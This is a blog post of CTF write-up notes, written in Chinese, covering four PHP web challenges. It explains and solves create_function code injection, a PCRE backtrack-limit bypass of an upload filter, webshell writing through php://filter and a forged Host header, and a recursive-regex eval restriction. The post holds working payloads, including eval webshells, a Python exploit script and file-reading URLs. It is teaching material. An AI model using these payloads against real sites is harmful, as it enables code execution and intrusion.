好久没更新博客了,整理下之前的做题笔记
1. easy - function
代码
1 2 3 4 5 6 7 8 9
| <?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
|
在这里考察的是create_function
代码注入
PHP 7.2.13
源码
路径 php-7.2.13/Zend/zend_builtin_functions.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| #define LAMBDA_TEMP_FUNCNAME "__lambda_func"
ZEND_FUNCTION(create_function) { zend_string *function_name; char *eval_code, *function_args, *function_code; size_t eval_code_length, function_args_len, function_code_len; int retval; char *eval_name;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "ss", &function_args, &function_args_len, &function_code, &function_code_len) == FAILURE) { return; }
eval_code = (char *) emalloc(sizeof("function " LAMBDA_TEMP_FUNCNAME) +function_args_len +2 +2 +function_code_len);
eval_code_length = sizeof("function " LAMBDA_TEMP_FUNCNAME "(") - 1; memcpy(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(", eval_code_length);
memcpy(eval_code + eval_code_length, function_args, function_args_len); eval_code_length += function_args_len;
eval_code[eval_code_length++] = ')'; eval_code[eval_code_length++] = '{';
memcpy(eval_code + eval_code_length, function_code, function_code_len); eval_code_length += function_code_len;
eval_code[eval_code_length++] = '}'; eval_code[eval_code_length] = '\0';
eval_name = zend_make_compiled_string_description("runtime-created function"); retval = zend_eval_stringl(eval_code, eval_code_length, NULL, eval_name); efree(eval_code); efree(eval_name);
if (retval==SUCCESS) { zend_op_array *func; HashTable *static_variables;
func = zend_hash_str_find_ptr(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1); if (!func) { zend_error_noreturn(E_CORE_ERROR, "Unexpected inconsistency in create_function()"); RETURN_FALSE; } if (func->refcount) { (*func->refcount)++; } static_variables = func->static_variables; func->static_variables = NULL; zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1); func->static_variables = static_variables;
function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0); ZSTR_VAL(function_name)[0] = '\0';
do { ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1; } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL); RETURN_NEW_STR(function_name); } else { zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1); RETURN_FALSE; } }
|
从注释可知,用户传入的两个参数为function_args
和function_code
跟进代码,可知后面会被拼接成一个完整的php
函数,一段以\0
结尾的字符串eval_code: function __lambda_func (function_args){function_code} \0
然后eval_code
被传入zend_eval_stringl()
执行。
在本题中,function_code
,也就是$_GET['arg']
是可控的,我们可以构造
arg=return 0;}phpinfo();//
但是还有一个正则需要绕过,$_GET['action']
的开头不能是a-z
、0-9
还有_
因此直接传create_function
是不行的。
这就涉及到了PHP的另一个知识点 namespace
在PHP中,\函数名a
,即调用全局的函数a
。
因此我们可以传入action=\create_function
来调用全局函数create_function
。
payload:
1
| action=\create_function&arg=return 0
|
成功执行代码phpinfo()
可知禁止执行以下函数
1
| system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
|
列出当前目录文件。
1 2 3
| http:
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
|
列出上级目录文件。
1 2 3
| http:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(31) "flag_h0w2execute_arb1trary_c0de" [3]=> string(4) "html" }
|
读取flag。
1
| http://51.158.75.42:8087/index.php?action=\create_function&arg=return 0;}var_dump(scandir('../'));readfile('../flag_h0w2execute_arb1trary_c0de');//
|
2. easy - pcrewaf
直接给了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
if(empty($_FILES)) { die(show_source(__FILE__)); }
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303); }
|
可知通过程序通过正则过滤了php代码。
参考链接
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
解题脚本
1 2 3 4 5 6 7 8 9
| import requests from io import BytesIO
files = { 'file': BytesIO(b'aaa<?php eval($_GET[\'a\']);//' + b'a' * 1000000) }
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers)
|
找flag
1 2 3 4
| http:
回显 array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(22) "flag_php7_2_1s_c0rrect" [3]=> string(4) "html" }
|
读取flag
1 2 3
| http: 回显 array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(22) "flag_php7_2_1s_c0rrect" [3]=> string(4) "html" } flag{216728a834fb4c1e0bc6893e135f436e}
|
3. easy - phpmagic
部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); }
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); }
echo $output; endif; ?>
|
$domain
可控。但是通过函数escapeshellarg()
进行了处理,不能命令注入,但是经过shell_exec()
之后,$output
中一定包含$domain
。
$log_name
也是可控的,使用pathinfo()
提取扩展名,限制的很全面,可以通过在路径末尾添加”/.”,可以使pathinfo()
,获取不到扩展名,从而绕过黑名单检测。
在后面对$log_name
重新赋值时
1
| $log_name = $_SERVER['SERVER_NAME'] . $log_name
|
$_SERVER['SERVER_NAME']
在Apache2
没有设置UseCanonicalName = On
和 ServerName
时也是可控的。
它获取的就是客户端请求头中Host
的值。
这样整个$log_name
的内容就都可以控制了,由此我们可以传入php
伪协议来写文件。
接下来是$output
,也就是控制文件内容。
由于htmlspecialchars()
将<>
转成了HTML实体,需要进行编码绕过,php
伪协议又支持base64
解码,而且php
在进行base64
解码的时候如果遇到不是base64
编码的字符会直接跳过。
这样我们就有思路了,Host
与log
组成php
伪协议,doamin
为写入的shell
的base64
,因为base64
编码的最后才会使用等号进行补位,因此shell编码后不能包含等号。
<?php @eval($_GET["a"]);/**
base64
之后
1
| PD9waHAgQGV2YWwoJF9HRVRbImEiXSk7Lyoq
|
成功getshell
读取flag
4. easy - phplimit
代码
1 2 3 4 5 6
| <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
|
在这里考察的其实是PHP正则表达式的递归模式。每一次迭代,php都会把表达式中的(?R)
替换为/[^\W]+\((?R)?\)/
这也就意味着我们传入的参数必须是不带参数的函数才可以。
这个题和RCTF2018中的r-cursive类似,原题是利用getallheaders()
函数来绕过,但是这个题的环境为nginx。不能使用该函数获取数据。
PHP中提供了get_defined_vars()
这个函数来获取所有已定义变量。
成功执行代码
读取flag
其他payload
1
| code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
|